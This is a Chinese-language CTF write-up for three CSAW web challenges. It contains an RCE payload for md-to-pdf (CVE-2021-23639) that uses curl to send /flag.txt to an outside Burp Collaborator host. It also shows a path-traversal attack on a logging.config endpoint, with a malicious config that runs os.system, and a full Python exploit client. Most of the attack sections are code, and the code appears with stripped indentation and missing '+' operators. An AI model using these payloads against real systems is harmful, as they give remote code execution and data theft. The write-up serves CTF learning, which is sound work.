Word Wide Web
打开访问一下大堆,大概是爬虫访问。
写个爬虫所有有 <a href="(.*?)">(.*?)</a>
都访问下
import re
import requests
url = 'http://web.chal.csaw.io:5010/'
session = requests.Session()
def getAll():
target = 'stuff'
while True:
result = session.get(url target).text
target = re.findall('<a href="/(.*?)">', result)
if target == []:
print(result)
break
else:
target = target[0]
print(re.findall('<h1>(.*?)</h1>', result))
if __name__ == '__main__':
getAll()
My little website
网站是个 markdown 转 pdf的功能,尝试渲染html和js都能成功
代码语言:javascript复制<iframe src="/" width="400" height="600"></iframe>
<script>document.write("Test Success!!")</script>
但 flag 在根目录,没法访问到。
读源码发现是用了 md-to-pdf 这个库
网上找找有没有这个库的RCE
还真有 CVE-2021-23639
代码语言:javascript复制---js
((require("child_process")).execSync("whoami"))
---RCE
但不会回显,用 curl 外带出来
代码语言:javascript复制---js
((require("child_process")).execSync("curl -d `cat /flag.txt` https://bs7gim4c66g802zhk4dmgm712s8kw9.burpcollaborator.net"))
---RCE
Good Intentions
题目竟然给了api文档
有个可执行命令的api /run_command
,但需要管理员登录才可以
无法注册 admin ,数据库初始化的时候就已经创建好admin了
继续审计 routes.py
中的代码
发现也给了 hint
代码语言:javascript复制#One of the volunteers keeps messing with the logger config. Doing this as a temporary fix so I can fix remotely...
#If you're the one doing it and reading this, please stop.
# 上面注释已经说了这里有漏洞
@api.route('/log_config', methods=['POST'])
@login_required
def log_config():
if not request.is_json:
return response('Missing required parameters!'), 401
data = request.get_json()
file_name = data.get('filename', '')
# 发现加载日志配置存在漏洞,可加载任意文件作为配置文件
logging.config.fileConfig(f"{current_app.config['UPLOAD_FOLDER']}/conf/{file_name}") # ../../
return response(data)
翻阅 logging.config
的官方文档 发现
不过都是跑在 docker 里,端口没暴露出来
在找找这个加载配置文件有啥漏洞吧
一搜一大把
搜索技巧,中文搜索不到的话用 英文 goole
格式 ( xxx vulnerable) (xxxxx RCE) 等 ,很有效,大概
好了,回到这题,参考
https://raj3shp.medium.com/python-security-logging-config-code-execution-e45660bc230e
设置配置文件
test.conf:
代码语言:javascript复制[loggers]
keys=root,simpleExample
[handlers]
keys=consoleHandler
[formatters]
keys=simpleFormatter
[logger_root]
level=DEBUG
handlers=consoleHandler
[logger_simpleExample]
level=DEBUG
handlers=consoleHandler
qualname=simpleExample
propagate=0
[handler_consoleHandler]
# 可执行任意命令 ,将执行的命令的结果写入静态目录中,可直接读取
class=__import__('os').system('cat /flag.txt > /app/application/static/docs/cmd.txt')
level=DEBUG
formatter=simpleFormatter
args=(sys.stdout,)
[formatter_simpleFormatter]
format=%(asctime)s - %(name)s - %(levelname)s - %(message)s
稍微修改下它给的api
exp:
代码语言:javascript复制# Sample API client for users who want to get started helping us collect and label space pictures!
import requests
import json
api_url = "http://localhost:1337/"
username = "aaa"
password = "123"
image_file = "test.conf"
label = "test"
def register(username, password):
url = api_url "/api/register"
payload = json.dumps({
"username": username,
"password": password
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", url, headers=headers, data=payload)
return response
def login(username, password):
url = api_url "/api/login"
payload = json.dumps({
"username": username,
"password": password
})
headers = {
'Content-Type': 'application/json'
}
connection = requests.Session()
response = connection.request("POST", url, headers=headers, data=payload)
return response,connection
def upload(connection, filename, label):
url = api_url "/api/upload"
with open(filename, "rb") as f:
data = f.read()
files = {'file': data}
#Edit the label appropriately
values = {'label': label}
response = connection.request("POST", url, files=files, data=values)
return response
def gallery(connetion):
url = api_url "/api/gallery"
return connetion.get(url)
def log_config(connection, filename):
url = api_url "/api/log_config"
logConf = {"filename": "../images/" filename}
connection.post(url, json=logConf)
def readCmd(connection):
url = api_url "static/docs/cmd.txt"
return connection.get(url)
def main():
response = register(username, password)
print(response.text)
response, connection = login(username, password)
print(response.text)
response = upload(connection, image_file, label)
print(response.text)
response = gallery(connection)
print(response.text)
log_config(connection, json.loads(response.text)["message"][-1])
response = readCmd(connection)
print(response.text)
if __name__ == "__main__":
main()
得到